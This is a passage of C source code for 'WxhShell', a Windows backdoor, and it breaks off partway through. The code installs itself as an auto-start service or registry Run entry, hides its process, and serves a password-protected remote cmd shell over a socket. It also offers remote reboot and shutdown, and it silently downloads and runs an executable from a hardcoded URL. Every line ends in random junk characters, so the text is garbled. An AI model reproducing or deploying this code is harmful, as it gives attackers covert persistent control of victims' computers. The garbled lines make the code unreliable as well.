    ExitThread(0); D3yG@lIP3  
    } {O*<1v9<  
    break; *zX*k 7LnV  
    } D"fE )@Q@Y  
  // 关机 WlP#L`  
  case 'd': { MP,l*wVd  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rAD5n, M]  
    if(Boot(SHUTDOWN)) QLo^6S5!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W5*%n]s~  
    else { +]Of f^s  
    closesocket(wsh); ]B0 >r^  
    ExitThread(0); FQ?,&s$Bmd  
    } j[YzBXd V  
    break; K g&{ ?&  
    } y|b|_eE?{  
  // 获取shell B+|E|8"  
  case 's': { s)<#a(!  
    CmdShell(wsh); 1QM*oj:  
    closesocket(wsh); J=>?D@K  
    ExitThread(0); eSXt"t  
    break; I ,Q"<? &  
  } [@[!esC  
  // 退出 aR.1&3fE  
  case 'x': { 9"R]"v3BA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O!='U!X@P  
    CloseIt(wsh); 9}kN9u  
    break; BR\% aU$u  
    } +NPk9jn  
  // 离开 dC@aQi6{6  
  case 'q': { 9Qp39(l:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); OxX{[|!`  
    closesocket(wsh); rKq/=Avv  
    WSACleanup(); ?_[xpK()  
    exit(1); zLXmjrC  
    break; 8WV1OIL  
        } Rk^Fasg"  
  } =nOV!!  
  } :7p0JGd  
_Jj/"?  
  // 提示信息 ayyn6a8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A|tee@H*0  
} "xZ]i)  
  } $*K5  
vP&dvAUF  
  return; Z$0r+phQk=  
} ?*E Y~'I  
*=dFTd"#  
// shell模块句柄 /ee:GjUkB  
int CmdShell(SOCKET sock) > ZkcL7t9  
{ 4cL NPl<  
STARTUPINFO si; Mm-FdP m  
ZeroMemory(&si,sizeof(si)); :SG9ygq'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qAm$yfYs`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k(o[T),_%0  
PROCESS_INFORMATION ProcessInfo; )gV+BHK  
char cmdline[]="cmd"; \(.&E`r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uOc>~ITPS  
  return 0; MQE=8\  
} ,T"pUeVJ  
]P$8# HiX  
// 自身启动模式 'Z'X`_  
int StartFromService(void) nWN~G  
{ V4qHaG  
typedef struct b$[_(QUw  
{ (.P;VH9R\  
  DWORD ExitStatus; y&9S+  
  DWORD PebBaseAddress; _)2.#L  
  DWORD AffinityMask; B Hn`e~  
  DWORD BasePriority; >5wA B  
  ULONG UniqueProcessId; jpyV52  
  ULONG InheritedFromUniqueProcessId; }p}i _'%  
}   PROCESS_BASIC_INFORMATION; KSVIX!EsX  
(}O)pqZ>  
PROCNTQSIP NtQueryInformationProcess; a*CP1@O  
>h<eEv/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f2_LfbvH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5}9-)\8=z  
k@5#^G  
  HANDLE             hProcess; u1` 8f]qt  
  PROCESS_BASIC_INFORMATION pbi; KpC)A5u6  
\^;Gv%E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ql%7wrK  
  if(NULL == hInst ) return 0; F^_d8=67h  
/V~L:0%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P~ _CDh.N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0{ v?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {b^naE  
[ar:zl V8  
  if (!NtQueryInformationProcess) return 0; J[YA1  
v6oPAqj,r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); riZFcVsB  
  if(!hProcess) return 0; G6JyAC9j  
Q'JEDH\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /}2 bsiJT  
0NfO|l7P  
  CloseHandle(hProcess); )]J I Q"rR  
5h1!E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y:^ =jV7  
if(hProcess==NULL) return 0; !W^2?pqN  
_4o2AS:j  
HMODULE hMod; 2F!K }aw  
char procName[255]; Y@KZ:0<  
unsigned long cbNeeded; nX5*pTfjL3  
&Xe r#6~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tA#X@HIE  
p$f#W  
  CloseHandle(hProcess); (J.(Fl>^  
#lltXqvD?  
if(strstr(procName,"services")) return 1; // 以服务启动 ; VK;_d  
vc6UA%/f  
  return 0; // 注册表启动 tt[P{mMQ  
} 98Srn63O  
h|=^@F_\`  
// 主模块 HCHP15otfe  
int StartWxhshell(LPSTR lpCmdLine) E}k#-+u<S4  
{ eN/s W!:P|  
  SOCKET wsl; {9;~xxTo  
BOOL val=TRUE; v7Knu]  
  int port=0; <ofXNv;`  
  struct sockaddr_in door; X$ /3  
dr~MyQ  
  if(wscfg.ws_autoins) Install(); GOJi/R.{  
m8 0+b8b  
port=atoi(lpCmdLine);  ~Zl`Ap  
r4 +w?=`  
if(port<=0) port=wscfg.ws_port; Ez?vJDd  
:FG}k Y  
  WSADATA data; [w=x0J&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bQXxb(^  
6 $ IXER  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t vk^L3=<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); JsnavI6  
  door.sin_family = AF_INET; bIp;$ZHy`K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `6~*kCj5  
  door.sin_port = htons(port); t)cG_+rJ  
G]P4[#5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :U)e 8  
closesocket(wsl); b cM#KA  
return 1; 32~Tf,  
} e"r}I!.  
/lr RbZ  
  if(listen(wsl,2) == INVALID_SOCKET) { KG>.7xVWV7  
closesocket(wsl); + W@r p#  
return 1; Z6D4VZVF  
} ^{6Y7T]  
  Wxhshell(wsl); M|n)LyL  
  WSACleanup(); %M}zi'qQ?  
rFx2 S  
return 0; dZ%b|CUb  
q{U -kuui  
} te6[^_k  
,<EmuEw |  
// 以NT服务方式启动 H5&>Eny  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GbP!l;a  
{ /2FX"I[0V%  
DWORD   status = 0; am%qlN<  
  DWORD   specificError = 0xfffffff; 44%H? ,d  
"VT5WFj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @lTUag'U0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7]nPWz1%*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {q}: w{x9u  
  serviceStatus.dwWin32ExitCode     = 0; 3M%EK2,  
  serviceStatus.dwServiceSpecificExitCode = 0; _KZ(Yq>SdY  
  serviceStatus.dwCheckPoint       = 0; *r-Bt1  
  serviceStatus.dwWaitHint       = 0; } \823 U %  
an5Ss@<4AA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4aV3x&6X  
  if (hServiceStatusHandle==0) return; *s%s|/  
AP@xZ%;K  
status = GetLastError(); N.64aL|1  
  if (status!=NO_ERROR) 'h81\SKFK9  
{ >hQR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J&3;6I &  
    serviceStatus.dwCheckPoint       = 0; 3M@>kIT8  
    serviceStatus.dwWaitHint       = 0; +uT=Wb \  
    serviceStatus.dwWin32ExitCode     = status; W/\7m\ B  
    serviceStatus.dwServiceSpecificExitCode = specificError; 66|lQE&n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dHp6G^Y  
    return; L1F){8[  
  }  vo::y"  
{#[a4@B0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e<p$Op  
  serviceStatus.dwCheckPoint       = 0; ?0?'  
  serviceStatus.dwWaitHint       = 0; PN.6BJvu  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kBONP^xI  
} A%GJ|h,i  
IcQ?^9%{  
// 处理NT服务事件,比如:启动、停止 8p5'}Lq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) VqbiZOZ@  
{ D>|:f-Z6Z  
switch(fdwControl) +\W"n_PPy  
{ >^Y 9p~  
case SERVICE_CONTROL_STOP: PN'8"8`{  
  serviceStatus.dwWin32ExitCode = 0; NGze: gPmO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <!+o8z]  
  serviceStatus.dwCheckPoint   = 0; ,88Y1|:X  
  serviceStatus.dwWaitHint     = 0; -"cN9RF  
  { WEsH@ [  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TWs|lhC7!  
  } ^M80 F7  
  return; %]R#}amW  
case SERVICE_CONTROL_PAUSE: `Ch6"= t  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H!Od.$ZIX  
  break; 8odVdivh  
case SERVICE_CONTROL_CONTINUE: HhpP}9P;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @i`gR%  
  break; w+MdQ@'5  
case SERVICE_CONTROL_INTERROGATE: <pE G8_{}  
  break; `773& \PK  
}; z)0VP QMT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G{"1  I  
} %b*%'#iK  
JJ+<?CeHD  
// 标准应用程序主函数 [-CG&l2?L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I#Bz UF  
{ g@U#Y#b@"  
o}%fs *  
// 获取操作系统版本 r zvX~B6  
OsIsNt=GetOsVer(); T2->  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }+lxj a]C  
Q0--.Q=:Y  
  // 从命令行安装 ew"Fr1UGYZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7&QVw(:)M  
uqyf3bK  
  // 下载执行文件 ;?[~]"  
if(wscfg.ws_downexe) { [a`i{(!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5{5ABV  
  WinExec(wscfg.ws_filenam,SW_HIDE); x'KsQlI/  
} M ?3N  
kzmt'/L8  
if(!OsIsNt) { [yyV`&  
// 如果时win9x,隐藏进程并且设置为注册表启动 o2|(0uN'  
HideProc(); MvW>ktkU  
StartWxhshell(lpCmdLine); 5^Y/RS i  
} a(7ryl~c=  
else xC{NIOYn'  
  if(StartFromService()) ~3%3{a a  
  // 以服务方式启动 U\ L"\N7  
  StartServiceCtrlDispatcher(DispatchTable); HUghl2L.<  
else l<HRD  
  // 普通方式启动 %b?Pasf.  
  StartWxhshell(lpCmdLine); &-* nr/xT  
Z`*cI   
return 0; $"i690  
} <oO,CXF  
G<z)Ydh_  
@Dy.HQ~  
;FmSL#]I  
=========================================== wY95|QS  
c`+ITNV  
"tR.'F[n4P  
zb" hy"hKw  
_R<HC  
K$.zO4  
" moR]{2Cd{  
vhHMxOZ;  
#include <stdio.h> Dr 1F|[  
#include <string.h> yRYWx` G  
#include <windows.h> s]N-n?'G"  
#include <winsock2.h> uaKB   
#include <winsvc.h> 3wE8y&  
#include <urlmon.h> -b$OHFL  
Q#N+5<]J)#  
#pragma comment (lib, "Ws2_32.lib") 1+jYpYEQW  
#pragma comment (lib, "urlmon.lib") /kz&9FM  
d.AjH9 jg  
#define MAX_USER   100 // 最大客户端连接数 9yh@_~rZ  
#define BUF_SOCK   200 // sock buffer zFn&~lFB  
#define KEY_BUFF   255 // 输入 buffer .ndQ(B  
LC{hoq\  
#define REBOOT     0   // 重启 FNuu',:  
#define SHUTDOWN   1   // 关机 2X*<Fma3C  
V.#8-?z  
#define DEF_PORT   5000 // 监听端口 @r?`:&m0  
kut|A  
#define REG_LEN     16   // 注册表键长度 G|lI=Q3f  
#define SVC_LEN     80   // NT服务名长度 !_) ^bRd  
3~Ln:4[6ID  
// 从dll定义API Q.1ohj0)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s]c$]&IGG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &[RU.Q!_H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8:% R |b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !d\GD8|4  
#+ '@/5{n  
// wxhshell配置信息 m3!M L>nLt  
struct WSCFG { GU3/s&9  
  int ws_port;         // 监听端口 {9".o,  
  char ws_passstr[REG_LEN]; // 口令 F 29AjW86  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1%"` =$q%  
  char ws_regname[REG_LEN]; // 注册表键名 _zh5KP[{  
  char ws_svcname[REG_LEN]; // 服务名 ku?_/-ko]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 At(9)6n8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !j9i=YDb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mPin\-I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B: ~;7A\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \NU [DHrMP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l;A_Aii(  
cEdJn@ ,  
}; 'cN#rHPB6  
}yw;L(3  
// default Wxhshell configuration 9/Dt:R3QU  
struct WSCFG wscfg={DEF_PORT, N| Pm|w*?  
    "xuhuanlingzhe", Ra5'x)m36)  
    1, ~ fEs!hl  
    "Wxhshell", s RQh~5kM  
    "Wxhshell", ok[=1gA#h  
            "WxhShell Service", SAh054/St  
    "Wrsky Windows CmdShell Service", 9D{).f0  
    "Please Input Your Password: ", n-3j$x1Ne  
  1, )V3(nZY  
  "http://www.wrsky.com/wxhshell.exe", h(Ed%  
  "Wxhshell.exe" 5iddB $  
    }; V1)P=?%(US  
lmKq xs4  
// 消息定义模块 \!Zh="hN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a~F@3Pd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;J-Ogt@d7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V2{#<d-T!  
char *msg_ws_ext="\n\rExit."; xsDa!  
char *msg_ws_end="\n\rQuit."; <C%-IZv$  
char *msg_ws_boot="\n\rReboot..."; (V.,~t@  
char *msg_ws_poff="\n\rShutdown..."; $sF#Na4^  
char *msg_ws_down="\n\rSave to "; !9xANSb  
j9ta0~x1*6  
char *msg_ws_err="\n\rErr!"; 4V|z)=)A  
char *msg_ws_ok="\n\rOK!"; yM:~{;HLF  
O6,"#BX  
char ExeFile[MAX_PATH]; Hu8atlpo  
int nUser = 0; F.pHL)37  
HANDLE handles[MAX_USER]; *}ee"eHs  
int OsIsNt; 9C}aX}`  
4c[)}8\  
SERVICE_STATUS       serviceStatus; 6BU0hV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mqk(UOK`  
&17,]#3  
// 函数声明 t"/"Ge#a  
int Install(void); WG/J4H`Od  
int Uninstall(void); 5A$az03y$\  
int DownloadFile(char *sURL, SOCKET wsh); c4>sE[]  
int Boot(int flag); .xkV#ol  
void HideProc(void); KHecc/,,S  
int GetOsVer(void); 8@yc}~8 *  
int Wxhshell(SOCKET wsl); LQ\ ELJj  
void TalkWithClient(void *cs); ht3T{4qCS  
int CmdShell(SOCKET sock); B9IXa;  
int StartFromService(void); (GEi<\16[  
int StartWxhshell(LPSTR lpCmdLine); (1AA;)`Kp  
hLbT\J`I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  zc/%1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >Ug?O~-  
w<~<(5mM5;  
// 数据结构和表定义 }SMJD  
SERVICE_TABLE_ENTRY DispatchTable[] = cbCE $  
{ XDdcq]*|  
{wscfg.ws_svcname, NTServiceMain}, &lPBqw  
{NULL, NULL} Kwl qi]~  
}; e*2&s5 #RT  
(Ef2 w[ '  
// 自我安装 B_"OA3d_  
int Install(void) w}W@M,.^  
{ &O6;nJEI  
  char svExeFile[MAX_PATH]; m/hi~. D9  
  HKEY key; YNC0Z'c9  
  strcpy(svExeFile,ExeFile); ?FV7|)f  
dD^_^'i  
// 如果是win9x系统,修改注册表设为自启动 j&[.2PW\  
if(!OsIsNt) { O/Mz?$8J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J4[x,(iq(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); / }XsuH  
  RegCloseKey(key); 1%hM8:)i_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VUy)4*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J`+`Kq1T  
  RegCloseKey(key); hGA!1a4 c  
  return 0;  9VUm=Z#`  
    } n `m_S  
  } L_U3*#Zdz7  
} c7g.|R  
else { 827)n[#%|  
=EcIXDzC>  
// 如果是NT以上系统,安装为系统服务 p_5>?[TW:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #OD@q;  
if (schSCManager!=0) \_gp50(3  
{ ]~\SR0  
  SC_HANDLE schService = CreateService hr<7l C  
  ( )-.Cne;n  
  schSCManager, k?["F%)I  
  wscfg.ws_svcname, ^%oG8z,L  
  wscfg.ws_svcdisp, LZQFj/,Jg  
  SERVICE_ALL_ACCESS, +f\pk \Ith  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i|c`M/) h:  
  SERVICE_AUTO_START, ST: v3*  
  SERVICE_ERROR_NORMAL, UN*dU  
  svExeFile, r,3Ww2X-  
  NULL, jA-5X?!In  
  NULL,  hmBnV  
  NULL, )iEa2uJ  
  NULL, mo|PrLV  
  NULL P34LV+e  
  ); %Rd~|$@>x  
  if (schService!=0) kJurUDo  
  { { OxAY_  
  CloseServiceHandle(schService); jMf 7J  
  CloseServiceHandle(schSCManager); cXb @H#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A]Q1&qM%  
  strcat(svExeFile,wscfg.ws_svcname); mEB2RLCM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |5O >>a()  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Et}C`vZ+Ve  
  RegCloseKey(key); ~mXZfG/D  
  return 0; l:zU_J6  
    } .#=j <&  
  } ;.nP%jD  
  CloseServiceHandle(schSCManager); FVsu8z u  
} POqRHuFq  
} u=@h`5-fp  
j8[`~p b  
return 1; z*M}=`M$  
} :]B% >*;}  
P"R97#C  
// 自我卸载 _.d}lK3$2  
int Uninstall(void) \~gA+ o}Q  
{ NJ|NJ p&0  
  HKEY key; H _Zo@y~J  
cg(QjH"  
if(!OsIsNt) { ( }]37  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #*yM2H"7,;  
  RegDeleteValue(key,wscfg.ws_regname); ASzzBR;?_  
  RegCloseKey(key); 8!u/   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tC2 )j7@  
  RegDeleteValue(key,wscfg.ws_regname); `a9k!3_L  
  RegCloseKey(key); ?%\mQmjas  
  return 0; \LO_Nu9  
  } '2|1%NSW9  
} r#_7]_3  
} *[d~Nk%Y$  
else { My]+?.Ru  
v87$NQvwQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !X5o7b)  
if (schSCManager!=0) \LIy:$`8  
{ ~In{lQ[QX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $ZQl IJZ  
  if (schService!=0) 6 QN1+MwB  
  { 8- dRdQu]  
  if(DeleteService(schService)!=0) { l `fW{lh  
  CloseServiceHandle(schService); 8A2if 9E3  
  CloseServiceHandle(schSCManager); w1wXTt  
  return 0; KY4d+~2  
  } _MM   
  CloseServiceHandle(schService); `4VO&lRm  
  } OJMvn'y  
  CloseServiceHandle(schSCManager); R&6n?g6@/V  
} N4I^.k<-A  
} <A#5v\{.;~  
>Hdjsu5{N  
return 1; vP3K7En  
} =ud `6{R  
 M*d-z  
// 从指定url下载文件 wXc,FD$  
int DownloadFile(char *sURL, SOCKET wsh) #V<`U:.  
{ n_<mPU  
  HRESULT hr; o;ik Z*+*  
char seps[]= "/"; :fxWz%t  
char *token; mWNR(()v  
char *file; S 3R|8?|  
char myURL[MAX_PATH]; CdX`PQ  
char myFILE[MAX_PATH]; >j&1?M2C  
R<Z^L~)  
strcpy(myURL,sURL); Q/9a,85  
  token=strtok(myURL,seps); ^g9}f  
  while(token!=NULL) /VRUz++K  
  { 3H1Pp*PH  
    file=token; J1.qhy>  
  token=strtok(NULL,seps); *Y8XP8u/  
  } jMK3T  
CXBzX:T?#  
GetCurrentDirectory(MAX_PATH,myFILE); fucUwf\_  
strcat(myFILE, "\\"); YV*b~6{d  
strcat(myFILE, file); j._G7z/LJ  
  send(wsh,myFILE,strlen(myFILE),0); ;5<P|:^  
send(wsh,"...",3,0); 0r1g$mKb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -Bj.hx*  
  if(hr==S_OK) FI\IY R  
return 0; '4$lL 6ly>  
else R"NGJu9  
return 1; ppEJs  
S,lxM,DL&  
} doLkrEm&  
smV!y8&  
// 系统电源模块 d{W}p~UbH  
int Boot(int flag) TW>?h=.z  
{ .\$Wy$ d  
  HANDLE hToken; d&hD[v  
  TOKEN_PRIVILEGES tkp; L*P_vCC  
}qG#N  
  if(OsIsNt) { ,aI,2U91  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d;{y`4p)s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qc3~cH.@  
    tkp.PrivilegeCount = 1; ])C>\@c6Gm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }xqXd%uz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $)Wb#B  
if(flag==REBOOT) { &(g|="T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PJCnud F  
  return 0; G=1m] >I8  
} -)X{n?i  
else { 3 :UA<&=s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NW)M?f+6  
  return 0; rw&y,%2  
} }f0u5:;Zth  
  } VQ2Fnb4  
  else { ~]4kkm7Y  
if(flag==REBOOT) { =Ci13< KQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M2dmG<  
  return 0; q?yMa9ZZky  
} WJAYM2 6\  
else { (Q'U@{s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L7m`HVCt&  
  return 0; ovz#  
} +I&J7ICV0  
} |-n ('gQ[  
e[}],W  
return 1; t~ -J %$  
} pzg&/m&F`  
0vDg8i\  
// win9x进程隐藏模块 >&1um5K  
void HideProc(void) <9`?Z-lJP  
{ _e*c  
mY`@'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3q"7K  
  if ( hKernel != NULL ) b{BaQ>.(`  
  { K}Na3}m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q@%h^9.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); QhCY}Q?X  
    FreeLibrary(hKernel); v`SY6;<2  
  } C%]."R cMC  
E`tQe5K  
return; p'80d:  
} E3f9<hm   
AVv#\JrRW  
// 获取操作系统版本 O4E(R?wd  
int GetOsVer(void) l~['[Ub0)  
{ YN^T$,*  
  OSVERSIONINFO winfo; {S *!B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6Hwxx5>r  
  GetVersionEx(&winfo); _jmkl B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "7d.i(vw  
  return 1; a1|c2kT  
  else 0V3gKd7  
  return 0; EI\v  
}  g#qNHR  
=-qf;5[|  
// 客户端句柄模块 q`[K3p   
int Wxhshell(SOCKET wsl) {y b D  
{ sQtf,e|p  
  SOCKET wsh; ]H+{eJB7O  
  struct sockaddr_in client; jN6b*-2  
  DWORD myID; y AOg\+  
"5}%"-#  
  while(nUser<MAX_USER) {`F1u?l  
{ /W`$yM3  
  int nSize=sizeof(client); 5%P[^}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E=k w)<X2  
  if(wsh==INVALID_SOCKET) return 1; )v1CC..  
's.~$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `NSy"6{Z  
if(handles[nUser]==0) ?+Q$#pb  
  closesocket(wsh); sB6dp D  
else ~:EW>Fq%i  
  nUser++; ^df x~C  
  } f;wc{qy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xr.XU'  
~ezCu_  
  return 0; qm'b'!gq~  
} B+Z13;}B  
(a }J$:  
// 关闭 socket vbp-`M(  
void CloseIt(SOCKET wsh) ;v_V+t <$  
{ .*!#98pT  
closesocket(wsh); 9afh[3qm  
nUser--; ax_YKJ5#P  
ExitThread(0); \QT9HAdd@  
} 9cfR)*Q  
[@3SfQ  
// 客户端请求句柄 "OL~ul5  
void TalkWithClient(void *cs) X>t3|h  
{ IqUp4}  
Z>2]Xx% \  
  SOCKET wsh=(SOCKET)cs; HabzCH  
  char pwd[SVC_LEN]; X V=S )  
  char cmd[KEY_BUFF]; FVgMmYU  
char chr[1]; +9[SVw8  
int i,j; '9J*6uXf.  
%hINpZMr  
  while (nUser < MAX_USER) { M4?8xuC  
gvyT-XI  
if(wscfg.ws_passstr) { >'`Sf ?+|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %LQ/q 3?_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n+;vjVS%  
  //ZeroMemory(pwd,KEY_BUFF); P+Z\3re  
      i=0; "- eZZEl(  
  while(i<SVC_LEN) { n3ZAF'  
cJ/]+|PQ  
  // 设置超时 //.>>-~1m  
  fd_set FdRead; }1U*A#aN7K  
  struct timeval TimeOut; `f)(Y1%.  
  FD_ZERO(&FdRead); ,w2WS\`%  
  FD_SET(wsh,&FdRead); b/<mRQ{  
  TimeOut.tv_sec=8; [AR>?6G-  
  TimeOut.tv_usec=0; K\&o2lo]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r5 yO5W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Oq+E6"<y;?  
B1$ikY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vv.PF~:  
  pwd=chr[0]; hCC}d0gf`n  
  if(chr[0]==0xd || chr[0]==0xa) { |pW\Ec#(  
  pwd=0; jPk c3dG +  
  break; vZkXt!%)  
  } A-wRah.M  
  i++; [w+Q^\%bN  
    } hNbIpi=  
>]&X ^V%Q#  
  // 如果是非法用户,关闭 socket V=}1[^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~R.dPUr  
} eko]H!Ov(  
`#6x=24  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U<Jt50O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B:9.e?t  
f=`33m5  
while(1) { SRL-Z&M  
vPmnN^  
  ZeroMemory(cmd,KEY_BUFF); `,Orf ZMb  
>85zQ 1aL  
      // 自动支持客户端 telnet标准   ?QpNjsF  
  j=0; S~3\3qt$  
  while(j<KEY_BUFF) { ZHkw6@|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `Ko[r R+  
  cmd[j]=chr[0]; %fhNxR  
  if(chr[0]==0xa || chr[0]==0xd) { Hk;-5A|9  
  cmd[j]=0; zn)yFnB!TH  
  break; Y~qb;N\  
  } \VN=Ef\E  
  j++; 7=k^M, a  
    } |LmSWy*7  
p=gX !4,9<  
  // 下载文件 S " pI  
  if(strstr(cmd,"http://")) { #C*&R>IvY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `.^ |]|u  
